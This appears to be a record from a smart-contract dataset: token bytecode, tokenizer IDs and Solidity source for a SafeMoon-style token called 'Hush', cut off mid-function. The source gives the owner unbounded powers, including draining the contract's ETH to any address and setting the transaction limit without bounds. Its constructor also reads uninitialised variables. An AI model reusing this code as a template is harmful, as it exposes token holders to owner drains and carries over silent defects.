14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107a7575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107b35750600082115b1561094a5781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061094f565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109ff5780601f106109d4576101008083540402835291602001916109ff565b820191906000526020600020905b8154815290600101906020018083116109e257829003601f168201915b505050505081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae65780601f10610abb57610100808354040283529160200191610ae6565b820191906000526020600020905b815481529060010190602001808311610ac957829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3f5750600082115b15610c4c5781600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c51565b600090505b92915050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610e98578082015181840152602081019050610e7d565b50505050905090810190601f168015610ec55780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f1925050501515610eed57600080fd5b600190509392505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820de0961a4984cbf97d187eac5c8188d96bc1a587f88394153f1d0a0cbf2f7c85d0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 16086, 2546, 26976, 2063, 2620, 2050, 2683, 2546, 11387, 2620, 2549, 6305, 2546, 23499, 2050, 2575, 20842, 4402, 2629, 2497, 2487, 2546, 27009, 2575, 2581, 2278, 2546, 2620, 2487, 2063, 2549, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1017, 1025, 3206, 19204, 1063, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 1035, 2013, 1010, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 14300, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,013
0x960fb2b6d4ae1fc3a5349d5b054ffefbae42fb8a
// SPDX-License-Identifier: Unlicensed pragma solidity 0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Hush is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; // SafeMoon Variables --------------------------------------------------- // mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = type(uint256).max; uint256 private _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Hush"; string private _symbol = "Hush"; uint8 private _decimals = 9; uint256 public _taxFee = 0; uint256 private _previousTaxFee; uint256 public _vaultFee = 0; uint256 private _previousVaultFee; uint256 public _liquidityFee = 0; uint256 private _previousLiquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; uint256 public _maxTxAmount = 1000000000 * 10**9; // Additional Variables ------------------------------------------------- // uint256 public constant MAX_FEE_VALUE = 20; uint256 private minimumTokensBeforeSwap = 200000 * 10**9; address payable public constant DEAD_ADDRESS = payable(0x000000000000000000000000000000000000dEaD); address payable public marketingAddress = payable(0x000000000000000000000000000000000000dEaD); address payable public vaultAddress = payable(0x000000000000000000000000000000000000dEaD); uint256 public _buyLiquidityFee = 0; uint256 public _buyVaultFee = 0; uint256 public _sellLiquidityFee = 0; uint256 public _sellVaultFee = 0; uint256 private buyBackUpperLimit = 100; uint256 public _amountTokensLastSold = 0; uint256 public _percentLastSoldToBuyBackTimesTen = 10; bool public buyBackEnabled = true; bool public buyBackLimit = false; // SafeMoon Events ------------------------------------------------------ // event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); // Additional Events ---------------------------------------------------- // event RewardLiquidityProviders(uint256 tokenAmount); event BuyBackEnabledUpdated(bool enabled); event BuyBackLimitEnabledUpdated(bool enabled); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); // SafeMoon Modifier ---------------------------------------------------- // modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } // Constructor ---------------------------------------------------------- // // Constructor ---------------------------------------------------------- // constructor () { address payable marketingAddress_; address payable vaultAddress_; uint256 taxFee; uint256 liquidityFee; uint256 buyVaultFee; uint256 buyLiquidityFee; uint256 sellVaultFee; uint256 sellLiquidityFee; require(taxFee < MAX_FEE_VALUE, "fees outside of range"); require(liquidityFee < MAX_FEE_VALUE, "fees outside of range"); require(buyVaultFee < MAX_FEE_VALUE, "fees outside of range"); require(buyLiquidityFee < MAX_FEE_VALUE, "fees outside of range"); require(sellVaultFee < MAX_FEE_VALUE, "fees outside of range"); require(sellLiquidityFee < MAX_FEE_VALUE, "fees outside of range"); // Set addresses. marketingAddress = marketingAddress_; vaultAddress = vaultAddress_; // Set fees. _taxFee = taxFee; _previousTaxFee = taxFee; _liquidityFee = liquidityFee; _previousLiquidityFee = liquidityFee; _buyVaultFee = buyVaultFee; _buyLiquidityFee = buyLiquidityFee; _sellVaultFee = sellVaultFee; _sellLiquidityFee = sellLiquidityFee; _rOwned[_msgSender()] = _rTotal; // Create pair. IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; // Exclude current owner and this contract from fees. _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } // SafeMoon Getters ----------------------------------------------------- // function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } // Additional Getters --------------------------------------------------- // function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function buyBackUpperLimitAmount() public view returns (uint256) { return buyBackUpperLimit; } function amountTokensLastSold() public view returns (uint256) { return _amountTokensLastSold; } function percentLastSoldToBuyBackTimesTen() public view returns (uint256) { return _percentLastSoldToBuyBackTimesTen; } function clearStuckBNBBalance(address addr) external onlyOwner{ (bool sent,) =payable(addr).call{value: (address(this).balance)}(""); require(sent); } function withdrawForeignToken(address token) public onlyOwner() { require(address(this) != address(token), "Cannot withdraw native token"); IERC20(address(token)).transfer(msg.sender, IERC20(token).balanceOf(address(this))); } // SafeMoon Public ------------------------------------------------------ // function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } // SafeMoon onlyOwner Public -------------------------------------------- // function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { require(taxFee < MAX_FEE_VALUE, "fees outside of range"); _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { require(liquidityFee < MAX_FEE_VALUE, "fees outside of range"); _liquidityFee = liquidityFee; } function setVaultFeePercent(uint256 vaultFee) external onlyOwner() { require(vaultFee < MAX_FEE_VALUE, "fees outside of range"); _vaultFee = vaultFee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } // Additional onlyOwner Public ----------------------------------------- // function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() { minimumTokensBeforeSwap = _minimumTokensBeforeSwap; } function setBuybackUpperLimit(uint256 buyBackLimitInt) external onlyOwner() { buyBackUpperLimit = buyBackLimitInt * 100; } function setMarketingAddress(address _marketingAddress) external onlyOwner() { marketingAddress = payable(_marketingAddress); } function setVaultAddress(address _vaultAddress) external onlyOwner() { vaultAddress = payable(_vaultAddress); } function setBuyBackEnabled(bool _enabled) public onlyOwner { buyBackEnabled = _enabled; emit BuyBackEnabledUpdated(_enabled); } function setBuyBackLimitEnabled(bool _enabled) public onlyOwner { buyBackLimit = _enabled; emit BuyBackLimitEnabledUpdated(_enabled); } function setPercentLastSoldToBuyBackTimesTen(uint256 percentLastSoldToBuyBackTimesTenNew) public onlyOwner { _percentLastSoldToBuyBackTimesTen = percentLastSoldToBuyBackTimesTenNew; } function setAllFees( uint256 taxFee, uint256 liquidityFee, uint256 buyVaultFee, uint256 buyLiquidityFee, uint256 sellVaultFee, uint256 sellLiquidityFee, uint256 maxTxAmount ) external onlyOwner { require(taxFee < MAX_FEE_VALUE, "fees outside of range"); require(liquidityFee < MAX_FEE_VALUE, "fees outside of range"); require(buyVaultFee < MAX_FEE_VALUE, "fees outside of range"); require(buyLiquidityFee < MAX_FEE_VALUE, "fees outside of range"); require(sellVaultFee < MAX_FEE_VALUE, "fees outside of range"); require(sellLiquidityFee < MAX_FEE_VALUE, "fees outside of range"); setSwapAndLiquifyEnabled(true); _taxFee = taxFee; _liquidityFee = liquidityFee; _buyVaultFee = buyVaultFee; _buyLiquidityFee = buyLiquidityFee; _sellVaultFee = sellVaultFee; _sellLiquidityFee = sellLiquidityFee; _maxTxAmount = maxTxAmount; } // SafeMoon Private ----------------------------------------------------- // function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tVault) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tVault, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tVault); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tVault = calculateVaultFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tVault); return (tTransferAmount, tFee, tLiquidity, tVault); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tVault, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rVault = tVault.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rVault); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeVault(uint256 tVault) private { uint256 currentRate = _getRate(); uint256 rVault = tVault.mul(currentRate); _rOwned[vaultAddress] = _rOwned[vaultAddress].add(rVault); if(_isExcluded[vaultAddress]) _tOwned[vaultAddress] = _tOwned[vaultAddress].add(tVault); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function calculateVaultFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_vaultFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _previousVaultFee = _vaultFee; _taxFee = 0; _liquidityFee = 0; _vaultFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; _vaultFee = _previousVaultFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (to == uniswapV2Pair && balanceOf(uniswapV2Pair) > 0) { _amountTokensLastSold += _getSellBnBAmount(amount); } if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) { if (overMinimumTokenBalance) { contractTokenBalance = minimumTokensBeforeSwap; swapTokens(contractTokenBalance); } uint256 balance = address(this).balance; if (buyBackEnabled && balance > uint256(1 * 100)) { //can turn this on by setting buyBackLimit true to revert to everrise original code if(buyBackLimit){ if (balance > buyBackUpperLimit){ balance = buyBackUpperLimit; } buyBackTokens(balance.div(100)); }else{ if(balance > buyBackUpperLimit){ uint256 buyBackAmount = _amountTokensLastSold.div(1000).mul(_percentLastSoldToBuyBackTimesTen); if(buyBackAmount < balance){ buyBackTokens(buyBackAmount); _amountTokensLastSold = 0; }else{ _amountTokensLastSold = 0; } } } } } bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; }else{ // Buy if(from == uniswapV2Pair){ removeAllFee(); _taxFee = 